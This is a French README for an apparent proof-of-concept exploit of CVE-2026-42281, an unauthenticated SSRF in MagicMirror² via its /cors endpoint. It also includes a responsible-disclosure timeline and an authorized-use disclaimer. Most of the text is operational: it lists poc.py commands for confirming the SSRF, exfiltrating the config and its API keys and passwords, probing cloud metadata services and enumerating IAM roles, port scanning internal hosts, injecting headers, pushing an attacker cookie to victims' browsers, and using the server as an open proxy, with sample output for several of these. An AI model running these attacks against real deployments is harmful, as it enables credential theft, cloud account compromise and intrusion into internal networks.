
Preuve de concept d'exploitation pour CVE-2026-42281, une SSRF non authentifiée dans MagicMirror² ≤ 2.35.0, permettant l'exfiltration de la configuration, le sondage des métadonnées cloud et le scan du réseau interne.
/cors
Découvert et signalé par : Astaruf
Analyse complète : https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/
Avis en amont : Avis de sécurité MagicMirrorOrg/MagicMirror
Ce dépôt héberge l'exploit de preuve de concept pour CVE-2026-42281, un SSRF non authentifié dans MagicMirror² ≤ 2.35.0 qui transforme le point de terminaison /cors en un proxy SSRF pleinement fonctionnel atteignant le loopback, les réseaux internes et les services de métadonnées cloud. Avec hideConfigSecrets: true, le même point de terminaison exfiltre également les valeurs process.env.SECRET_* en une seule requête.
Pour la revue de code complète, l'analyse de la vulnérabilité, le détail du correctif, la contestation du CVSS et la chronologie, consultez l'analyse complète sur nstsec.com. Ce README se concentre sur comment utiliser le PoC.
# 1. Vérifier que la cible est vulnérable
python3 poc.py -t http://target:8080 --check
# 2. Exfiltrer la configuration de l'application (avec découverte automatique des secrets)
python3 poc.py -t http://target:8080 --config
# 3. Sonder les services de métadonnées cloud de plus de 10 fournisseurs
python3 poc.py -t http://target:8080 --cloud
# 4. Scan de ports du réseau interne via SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379
# 5. Démontrer l'abus d'en-têtes entrants/sortants
python3 poc.py -t http://target:8080 --headers
# 6. Utiliser le serveur comme proxy ouvert générique
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api
| Drapeau | Description |
|---|---|
--check | Vérifier que le SSRF est exploitable via une requête loopback de /version |
--config | SSRF /config via loopback, analyser le JSON, rechercher les clés API / jetons / mots de passe dans les configurations des modules |
--cloud | Sonder les services de métadonnées AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix ; suivi automatique de l'énumération des rôles IAM AWS |
--port-scan HOSTS | Scanner un ou plusieurs hôtes (-p 22,80 / -p 0-1024 / -p - pour les 65535 ports), multithreadé |
--headers | Partie A : injecter des en-têtes Authorization/X-* dans la requête sortante via sendheaders. Partie B : transmettre un Set-Cookie contrôlé par l'attaquant depuis une origine malveillante vers le navigateur de la victime via expectedheaders |
--open-proxy URL | GET SSRF générique vers n'importe quelle URL, affiche le corps de la réponse (utile pour explorer les API HTTP internes) |
| Option | Défaut | Description |
|---|---|---|
-t / --target | requis | URL cible, ex. http://192.168.1.10:8080 |
--timeout | 2.0 | Délai d'expiration par requête en secondes |
--threads | 30 | Threads pour --port-scan |
--verbose | désactivé | Afficher les réponses JSON complètes (et les corps de métadonnées cloud non expurgés) |
1. Bannière du PoC et mode --check confirmant le SSRF :
$ python3 poc.py -t http://127.0.0.1:8080 --check
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██████╗ █████╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ╚════██╗ ╚════██╗ ██╔══██╗ ███║
██║ ██║ ██║█████╗ -2026- ███████║ █████╔╝ █████╔╝ ╚█████╔╝ ╚██║
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██╔═══╝ ██╔═══╝ ██╔══██╗ ██║
╚██████╗ ╚████╔╝ ███████╗ ██║ ███████╗ ███████╗ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚════╝ ╚═╝
MagicMirror² <= v2.35.0 — SSRF non authentifié via le point de terminaison /cors
Auteur : Astaruf | https://nstsec.com
VÉRIFICATION, accessibilité de la cible et confirmation du SSRF
[*] Vérification de l'accessibilité de la cible ...
[+] Cible accessible, MagicMirror 2.35.0
[*] Confirmation du SSRF via loopback ...
>> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
[+] SSRF CONFIRMÉ, le serveur a récupéré la ressource interne à notre place
<< 2.35.0
2. --config exfiltre la configuration de l'application et découvre automatiquement les secrets dans les configurations des modules :
EXFILTRATION DE LA CONFIGURATION, configuration complète via SSRF loopback
[+] Configuration récupérée, 1194 octets
[*] address : 0.0.0.0
[*] port : 8080
[*] ipWhitelist: [] ouvert à toutes les IP
SECRETS TROUVÉS :
[weather] apiKey = ow_demo_api_key_d34db33fc4f3b4b3
[calendar] calendars[0].auth.pass = S3cretCalendarPa$$word!
[newsfeed] accessToken = sk-newsfeed-bearer-T0kEn-xyz789
3. --headers confirme l'injection sortante et le transfert entrant :
INJECTION D'EN-TÊTES, abus d'en-têtes sortants et entrants
[*] Partie A : injection d'en-têtes arbitraires dans les requêtes sortantes via sendheaders
[+] En-tête X-Injected-By: SSRF-PoC confirmé dans la requête sortante
[+] En-tête Authorization: Bearer DEMO_TOKEN confirmé dans la requête sortante
[*] Partie B : transfert des en-têtes de réponse vers le navigateur via expectedheaders
[+] En-tête de réponse Set-Cookie transféré au navigateur : session=hijacked;HttpOnly
[+] Le navigateur reçoit ce cookie comme s'il provenait du domaine MagicMirror
4. --open-proxy confirme le HTTP sortant depuis le serveur :
PROXY OUVERT, récupération de https://httpbin.org/ip via le serveur vulnérable
[+] HTTP 200, 32 octets reçus du serveur
{
"origin": "<IP publique du serveur, pas celle de l'attaquant>"
}
--check (et tous les autres modes) envoie un SSRF loopback vers http://127.0.0.1:<port>/version. Lors des tests via Docker, assurez-vous que le port hôte correspond au port du conteneur (ex. mappez 8080:8080, pas 8081:8080), sinon la cible loopback ne sera pas résolue depuis l'intérieur du conteneur même si l'instance est réellement vulnérable.--cloud contre une instance non cloud (Raspberry Pi, bare metal) ne produit aucun résultat — c'est attendu et le script le signale explicitement. Le vecteur existe ; le tester nécessite un déploiement cloud réel.Livré dans MagicMirror² v2.36.0 (publié le 30 avril 2026). Le correctif est réparti sur six PR (#4084, #4087, #4090, #4091, #4102, #4104). Consultez l'analyse complète pour le détail par PR, les extraits de code et la matrice de vérification des tentatives de contournement re-testées contre la version corrigée.
| Date | Événement |
|---|---|
| 2026-03-30 | Vulnérabilité découverte, problème public ouvert, e-mail envoyé au mainteneur |
| 2026-03-31 | Le mainteneur a accusé réception du rapport |
| 2026-04-01 | Les mainteneurs ont ajouté SECURITY.md et activé les avis de sécurité GitHub sur le dépôt |
| 2026-04-09 | Avis GHSA formel ouvert |
| 2026-04-26 | Correctif confirmé pour la prochaine version. CVE-2026-42281 attribuée par GitHub |
| 2026-04-26 | Contestation du CVSS — vecteur relevé de Modéré à 9.2 Critique (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N) |
| 2026-04-30 | MagicMirror² v2.36.0 publiée, correctif livré publiquement |
| 2026-05-04 | Divulgation publique (analyse + dépôt PoC) |
Ce matériel est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation. Utilisez-le uniquement contre des instances MagicMirror² que vous possédez ou pour lesquelles vous avez une autorisation écrite explicite de tester. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.